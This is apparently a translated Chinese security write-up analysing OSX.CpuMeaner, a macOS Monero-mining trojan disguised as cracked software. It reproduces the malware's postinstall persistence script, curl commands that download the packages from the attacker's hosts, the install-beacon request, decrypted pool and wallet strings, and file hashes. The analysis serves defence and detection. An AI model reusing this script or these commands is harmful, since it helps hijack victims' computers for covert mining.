OSX.CpuMeaner:針對macOS平台的新型挖礦木馬

一、前言

在本文中,我們分析了針對macOS平台的一款新型密幣(cryptocurrency)挖礦木馬。這個惡意軟體偽裝成盜版應用程序,使用用戶硬體來悄悄挖掘門羅幣(Monero)。

雖然這款惡意軟體設計思路與OSX.Pwnet類似,但具體實現更貼近於廣告軟體這一類別。

二、感染途徑

使用盜版軟體的個人用戶很容易栽在惡意軟體身上,這些惡意軟體的來源千奇百怪,可以來自於Google搜索,也可以來自於包含惡意鏈接的YouTube視頻描述。在面對欺詐型技術支持攻擊、偽造的Flash播放器以及熱情推薦的病毒掃描服務時,受害者最終可能會安裝惡意軟體包。例如,某個用戶正在尋找破解版的Sketch應用,相關網路行為如下所示:

$ curl -svJO http://jumpcash.xyz/download.php -G -d e=pkg -d tag=mosx3 -d clickid=2305343 -d key="Sketch 47 Crack"n* Trying 46.30.45.236...n* Connected to jumpcash.xyz (46.30.45.236) port 80 (#0)n> GET /download.php?e=pkg&tag=mosx3&clickid=2305343&key=Sketch 47 Crack HTTP/1.1n> Host: jumpcash.xyzn> User-Agent: curl/7.43.0n> Accept: */*n> n< HTTP/1.1 200 OKn< Server: nginx/1.4.6 (Ubuntu)n< Date: Tue, 14 Nov 2017 10:19:17 GMTn< Content-Type: application/octet-streamn< Content-Length: 169267n< Connection: keep-aliven< X-Powered-By: PHP/5.5.9-1ubuntu4.21n< Content-Description: File Transfern< Content-Disposition: attachment; filename=Sketch_47_Crack-2305343-823868397374412531.pkgn< Content-Transfer-Encoding: binaryn< Expires: 0n< Cache-Control: must-revalidaten< Pragma: publicn< n{ [936 bytes data]n* Connection #0 to host jumpcash.xyz left intactnn$ shasum -a 256 Sketch_47_Crack-2305343-823868397374412531.pkg n7a6cc593a8fb2853b817013e28681fa1698fd59d0cea69ba06b7a4b6dc3d5c80 Sketch_47_Crack-2305343-823868397374412531.pkgn

目標文件名由網頁請求中的keyclickid參數生成而得。當然,用戶下載的軟體包實際上並不是盜版軟體。

我們也能在一個偽造的法國種子(torrent)站點上找到這種惡意軟體:

有一些用戶曾在Apple論壇上抱怨過系統被安裝上xmemapp以及cpucooler程序。根據VirusTotal的統計結果,該惡意軟體自2017年9月下旬以來已經處於活躍狀態,並且不會被任何反病毒軟體檢測出來(檢測率為0)。

三、軟體包分析

在本文撰寫過程中,託管伺服器上總共包含3款軟體包,其標籤分別為mosx1.pkg、mosx2.pkg以及mosx3.pkg:

$ for tag in mosx{1,2,3} ; do curl -s -o $tag.pkg http://jumpcash.xyz/download.php -G -d e=pkg -d tag=$tag ; donenn$ shasum -a 256 mosx*.pkgnd15a51bb1a88a8906a997a0d4c0d3fb35ddd64b722af23120600eeea989ecef9 mosx1.pkgnc3c0da504e40359ce8247b912cbff00cbd32a2222cb53a6bd30f2e44f7781049 mosx2.pkgn7a6cc593a8fb2853b817013e28681fa1698fd59d0cea69ba06b7a4b6dc3d5c80 mosx3.pkgn

這些軟體包都經過同一個開發者身份證書籤名。

$ ls mosx*.pkg | xargs -L 1 pkgutil --check-signature | awk /Developer ID Installer/n 1. Developer ID Installer: Artur Nurgaliev (DEWCRD3789)n 1. Developer ID Installer: Artur Nurgaliev (DEWCRD3789)n 1. Developer ID Installer: Artur Nurgaliev (DEWCRD3789)n

Apple已於2017年11月10撤銷了該證書:

$ ls mosx*.pkg | xargs -L 1 spctl --assess -v --type installnmosx1.pkg: CSSMERR_TP_CERT_REVOKEDnmosx2.pkg: CSSMERR_TP_CERT_REVOKEDnmosx3.pkg: CSSMERR_TP_CERT_REVOKEDn

標記為mosx1的軟體包會釋放xmemapp載荷程序,而標記為mosx2或者mosx3的軟體包會釋放cpucooler載荷程序:

$ for pkg in mosx*.pkg ; do echo $pkg: $(pkgutil --payload-files $pkg | egrep -v -e ^.$) ; donenmosx1.pkg: ./xmemappnmosx2.pkg: ./cpucoolernmosx3.pkg: ./cpucoolern

這些載荷文件的哈希值並不相同:

$ for tag in mosx{1,2,3} ; do pkgutil --expand $tag.pkg $tag && tar xf $tag/Payload -C $tag ; donenn$ shasum -a 256 mosx*/{x,c}*nd196aba4d59b132fc9cd6f6ba627166a8eb6631017636b0ed4df7fd0260524a5 mosx1/xmemappn47e523a8b796c27b6c0fe91a4781aa7b47c8d66ddb75117d3f3283a6079ff128 mosx2/cpucoolern5c41ab1d3aaa33e021eb73c1a58894df8e679366d2f03663b8f1029a0dc80f26 mosx3/cpucoolern

程序也沒有經過代碼簽名(code-signed):

$ ls mosx*/{x,c}* | xargs -L 1 codesign -dvvvnmosx1/xmemapp: code object is not signed at allnmosx2/cpucooler: code object is not signed at allnmosx3/cpucooler: code object is not signed at alln

這些程序的安裝路徑也各不相同:

$ for tag in mosx{1,2,3}; do echo $tag: $(xmllint --xpath "string(//pkg-info/@install-location)" $tag/PackageInfo) ; donenmosx1: /Library/Application Support/XMemAppnmosx2: /Library/Application Support/CpuCoolernmosx3: /Library/Application Support/CpuCoolern

安裝完畢後,軟體包會運行postinstall腳本,該腳本的功能包括:

1、將launchd.plist 文件寫入/Library/LaunchAgents目錄中,以實現本地持久化目的。

2、載入啟動代理(Launch Agent)。

3、等待10秒,然後終止與當前可執行文件名匹配的所有進程。

4、在後台等待60秒,以軟體包名為參數運行可執行文件。

mosx2以及mosx3軟體包所使用的postinstall腳本如下所示:

#!/bin/bashnIDENTIFIER="com.osxext.cpucooler"nINSTALL_LOCATION="/Library/Application Support/CpuCooler/cpucooler"nnLAUNCH_AGENT_PLIST="/Library/LaunchAgents/$IDENTIFIER.plist"nnecho <?xml version="1.0" encoding="UTF-8"?>n<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">n<plist version="1.0">n<dict>n <key>Label</key>n <string>$IDENTIFIER</string>n <key>Program</key>n <string>$INSTALL_LOCATION</string>n <key>RunAtLoad</key>n <true/>n</dict>n</plist> > "$LAUNCH_AGENT_PLIST"nnFILENAME=$(basename "$1")n/bin/launchctl load "$LAUNCH_AGENT_PLIST"nsleep 10 && sudo pkill cpucoolernsleep 60 && /Library/Application Support/CpuCooler/cpucooler "$FILENAME" &nexitn

四、可執行文件分析

xmemapp以及cpucooler實際上是定製化的2.3.1版的XMRig (XMRig是一款開源的門羅幣CPU挖礦軟體)。

作者在代碼中添加了一些函數,以還原某些混淆字元串,並將結果反饋至伺服器:

Postback::sendPostback(std::string const&);nUtils::Utils();nUtils::encdec(std::string);nUtils::exec(std::string const&);nUtils::getNumber();nUtils::hex_to_string(std::string const&);nUtils::jenkins_one_at_a_time_hash(std::string, unsigned long);nUtils::str_replace(std::string, std::string const&, std::string const&);nUtils::~Utils();n

main()函數中還會設置一些默認參數。這些參數被硬編碼在程序中,包括如下幾類:

1、挖礦伺服器的URL地址,用-o參數來設定;

2、挖礦伺服器的用戶名,用-u參數來設定;

3、挖礦伺服器的密碼,用-p x參數來設定;

4、使用--safe參數來安全調整當前CPU的線程數以及av(algorithm variation,具體使用的演算法)參數;

5、使用-t 2參數來設定挖礦程序所使用的線程數。

Utils::encdec()函數中,程序使用Utils::hex_to_string()來解碼十六進位形式的字元串,然後將解碼結果與0x4e進行異或(XOR),得到解密後的結果。

$ strings mosx3/cpucooler | egrep -e ^[[:xdigit:]]+$ -m 5n27213c2b296e633c2a7f6e63397e6e632d6e0f3e3e222b0f060d070a273d250a3c27382b3c6e326e2f39256e69611d2b3c272f226e003b232c2b3c6135293d3b2c666c126c6c626e6c6c626e6a7a67753e3c27203a6e6a7a3369n243b233e2d2f3d2660363734n23213d367dn3d3a3c2f3a3b23653a2d3e74616136233c603e212122602327202b3c292f3a2b602d2123747a7b7b787en232f3c3a27202439262b2b3a0e232f2722602d2123nn$ ../decrypt_strings.py mosx1/xmemapp mosx{2,3}/cpucoolernDecrypted strings for: mosx1/xmemappnioreg -rd1 -w0 -c AppleAHCIDiskDriver | awk /Serial Number/{gsub(""", "", $4);print $4}njumpcash.xyznmosx1nstratum+tcp://xmr.pool.minergate.com:45560njeffguyen@mail.comnDecrypted strings for: mosx2/cpucoolernioreg -rd1 -w0 -c AppleAHCIDiskDriver | awk /Serial Number/{gsub(""", "", $4);print $4}njumpcash.xyznmosx2nstratum+tcp://xmr.pool.minergate.com:45560njeffguyen@mail.comnDecrypted strings for: mosx3/cpucoolernioreg -rd1 -w0 -c AppleAHCIDiskDriver | awk /Serial Number/{gsub(""", "", $4);print $4}njumpcash.xyznmosx3nstratum+tcp://xmr.pool.minergate.com:45560nmartinjwheet@mail.comn

這些程序使用2個線程(即200%的CPU使用率)連接到MinerGate的XMR礦池,挖礦所使用的賬號為jeffguyen@mail.com(mosx1以及mosx2)以及 martinjwheet@mail.com(mosx3)。

當使用真實的參數來運行時(如通過postinstall腳本來運行時),main()函數會在第一個參數(軟體包名稱)中查找-.符號,找到這些符號後,就會將子字元串作為參數來調用Postback::sendPostback()函數。

Postback::sendPostback() 會將安裝數據發送給經過解碼的某個域名,請求網址中帶有通過 Utils::getNumber()生成的參數。

$ curl -A MNR -w "%{http_code}" http://jumpcash.xyz/pb.php -G -d t=mosx3 -d mid=2162179746 -d i=2305343-823868397374412531n200n

Utils::getNumber()函數會通過 Utils::exec()來運行解碼後的 ioreg命令。得到命令輸出結果後,使用Jenkins的一次性哈希演算法生成該結果的哈希值(十進位形式),該哈希值作為Web請求參數加以使用。

有趣的是,程序中並沒有使用Utils::str_replace()函數以及Utils::jenkins_one_at_a_time_hash()函數(這些代碼屬於殭屍代碼)。

五、MNR2變種分析

jumpcash.xyz域名取消服務後,又湧現出一大批新的變種,這些變種託管於其他網站,如網站1及網站2。

$ for tag in mosx{2,3,np} ; do curl -s -o $tag.pkg http://storekit.xyz/api/v1/download.php -G -d e=pkg -d tag=$tag ; donenn$ shasum -a 256 *.pkgnb6cbc89d0b5a8938c74c1f601a2b7a88b4a3391bf808d2c028885003a16d9b5a mosx2.pkgnf1da940d6f417ef0001595ed816889ecdcacb41a3d6c921b6e039dc30e35ab8a mosx3.pkgn6e0ec2d6754138b5971f417176136a7becfd75359919a8a5a3b4233aeaade9b3 mosxnp.pkgn

這些軟體包使用的是另一個開發者身份(該身份很快就被撤銷掉):

$ ls mosx*.pkg | xargs -L 1 pkgutil --check-signature | awk /Developer ID Installer/n 1. Developer ID Installer: Adam Kortney (9ADZ437492)n 1. Developer ID Installer: Adam Kortney (9ADZ437492)n 1. Developer ID Installer: Adam Kortney (9ADZ437492)nn$ ls mosx*.pkg | xargs -L 1 spctl --assess -v --type installnmosx2.pkg: acceptednsource=Developer IDnmosx3.pkg: acceptednsource=Developer IDnmosxnp.pkg: acceptednsource=Developer IDn

同樣,Apple於2017年11月22日吊銷了該證書:

這些軟體包安裝的可執行文件使用了新的名稱以及路徑:

$ for pkg in mosx*.pkg ; do echo $pkg: $(pkgutil --payload-files $pkg | egrep -v -e ^.$) ; donenmosx2.pkg: ./mxcpunmosx3.pkg: ./mxzcpunmosxnp.pkg: ./moszcpunn$ for tag in mosx{2,3,np} ; do pkgutil --expand $tag.pkg $tag && tar xf $tag/Payload -C $tag ; donenn$ shasum -a 256 mosx*/m*cpun91b929d2470e3507b5faf5f12adb35046d96777e8b55b28b8e859a30924168b2 mosx2/mxcpunb636b2cc15925e68c200449d5d78a9e169af379e4e3b007075ded00d777ffdc7 mosx3/mxzcpun9a8b16f0a44cd63bf525142519b23481d4dcfd84d2dae02a0b0b9cb5caf1c147 mosxnp/moszcpunn$ for tag in mosx{2,3,np}; do echo $tag: $(xmllint --xpath "string(//pkg-info/@install-location)" $tag/PackageInfo) ; donenmosx2: /Library/Application Support/mxcpunmosx3: /Library/Application Support/mxzcpunmosxnp: /Library/Application Support/moszcpun

新軟體包使用了一個preinstall腳本,如果當前主機已經感染老的變種時,該腳本會生成一個錯誤代碼,退出執行流程。

postinstall腳本也有所不同,新版的工作流程如下:

1、將launchd.plist文件寫入/Library/LaunchAgents目錄中,以達成本地持久化目的。

2、如果當前主機已被木馬感染,則退出執行。

3、將軟體包名寫入/Library/Application Support/mosxnp/info文件中。

4、載入並啟動啟動代理(Launch Agent)。

5、等待5秒鐘,檢查程序是否已經運行。

6、如果尚未運行,後台等待30秒,再次以軟體包名為參數執行程序。

7、將安裝狀態發送給遠程伺服器。

新版程序基於2.4.2版的XMRig來開發。其中使用的自定義函數與之前版本類似。main()函數現在會從/Library/Application Support/mosxnp/info文件中讀取軟體包名。

新版程序的目標操作系統為macOS Sierra或者更高版本(10.12+),在低版本系統上運行時會崩潰。

$ uname -vnDarwin Kernel Version 15.6.0: Mon Aug 29 20:21:34 PDT 2016; root:xnu-3248.60.11~1/RELEASE_X86_64nn$ ./mxzcpu ndyld: lazy symbol binding failed: Symbol not found: _clock_gettimen Referenced from: /Library/Application Support/mxzcpu/./mxzcpu (which was built for Mac OS X 10.12)n Expected in: /usr/lib/libSystem.B.dylibnndyld: Symbol not found: _clock_gettimen Referenced from: /Library/Application Support/mxzcpu/./mxzcpu (which was built for Mac OS X 10.12)n Expected in: /usr/lib/libSystem.B.dylibnnTrace/BPT trap: 5n

這麼做也能理解,因為macOS Sierra系統需要搭配啟用SSE4功能的處理器,採用這種指令集時,程序的挖礦速度會更快。

解密後的字元串如下所示:

$ ../decrypt_strings.py mosx*/m*cpunDecrypted strings for: mosx2/mxcpunstorekit.xyznmosx2nioreg -rd1 -w0 -c AppleAHCIDiskDriver | awk /Serial Number/{gsub(""", "", $4);print $4}n/Library/Application Support/mxcpu/infonstratum+tcp://xmr.pool.minergate.com:45560njeffguyen@mail.comnDecrypted strings for: mosx3/mxzcpunstorekit.xyznmosx3nioreg -rd1 -w0 -c AppleAHCIDiskDriver | awk /Serial Number/{gsub(""", "", $4);print $4}n/Library/Application Support/mxzcpu/infonstratum+tcp://xmr.pool.minergate.com:45560nmartinjwheet@mail.comnDecrypted strings for: mosxnp/moszcpunstorekit.xyznmosxnpnioreg -rd1 -w0 -c AppleAHCIDiskDriver | awk /Serial Number/{gsub(""", "", $4);print $4}n/Library/Application Support/moszcpu/infonstratum+tcp://xmr-eu1.nanopool.org:14444n49dP6YfhFHmLWb16jESv8V977cYzbx8zCXz6A7gUh1sn65jQ1eQgUpG9qCs2mfNhVW9Jm86RQpDGTHxokFnutubU6HQCeuN.34c5cb2b877d296b3fcfd9c6fb9a5da0c42b044e7fd52372ae5b6cd9bbe6c5c8.n

標記為mosxnp的變種會連接到Nanopool XMR礦池來挖礦。

新變種通過Postback::sendPostback()函數將安裝數據發送至storekit.xyz主機上的/api/v1/pb.php頁面,使用的User-Agent為MNR2

六、VirusTotal上的樣本

2017年中旬,有人將標記為mosx3以及mosxnp的軟體包上傳到VirusTotal上進行檢測。

這些軟體包中包含的可執行程序(cpulitemosxnp)都是MNR2變種,但所使用的postinstall腳本略有不同。

程序並沒有靜態鏈接XMRig的依賴項(libuv以及libmicrohttpd),只導入了所需的符號。由於目標主機上經常缺乏程序所需的動態鏈接庫(Homebrew路徑),因此這些程序會在啟動時崩潰:

$ otool -L mosxnpnmosxnp:n /usr/local/opt/libuv/lib/libuv.1.dylib (compatibility version 2.0.0, current version 2.0.0)n /usr/local/opt/libmicrohttpd/lib/libmicrohttpd.12.dylib (compatibility version 56.0.0, current version 56.0.0)n /usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 307.4.0)n /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1238.0.0)nn$ ./mosxnpndyld: Library not loaded: /usr/local/opt/libuv/lib/libuv.1.dylibn Referenced from: /Library/Application Support/mosxnp/./mosxnpn Reason: image not foundnAbort trap: 6n

七、總結

這款OSX.CpuMeaner木馬是新型挖礦攻擊大軍中的一員,現在新型挖礦攻擊的規模日益膨脹,我們可以在Android、PC、Linux伺服器上看到挖礦攻擊活動的身影,甚至Chrome瀏覽器上也存在CoinHive這種挖礦腳本。事實上,攻擊者一直在尋找通過惡意軟體感染來謀取利益的方式,雖然挖礦惡意軟體並不屬於傳統的攻擊方式(如竊取密碼及其他敏感信息、遠程控制設備等),但這種攻擊方式回報豐厚,只需使用CPU以及少量網路通信就能滿足攻擊要求。

我們無法百分百肯定這類攻擊活動會一直處於活躍狀態,但只要整個市場持續膨脹,人們發現投資類似門羅幣(Monero)、達世幣(DASH)之類的加密貨幣能獲得極高的回報率(ROI),那麼這類攻擊事件也會持續湧現,源遠流長。

推薦閱讀:

TAG:Mac | 比特币Bitcoin | 黑色产业链 |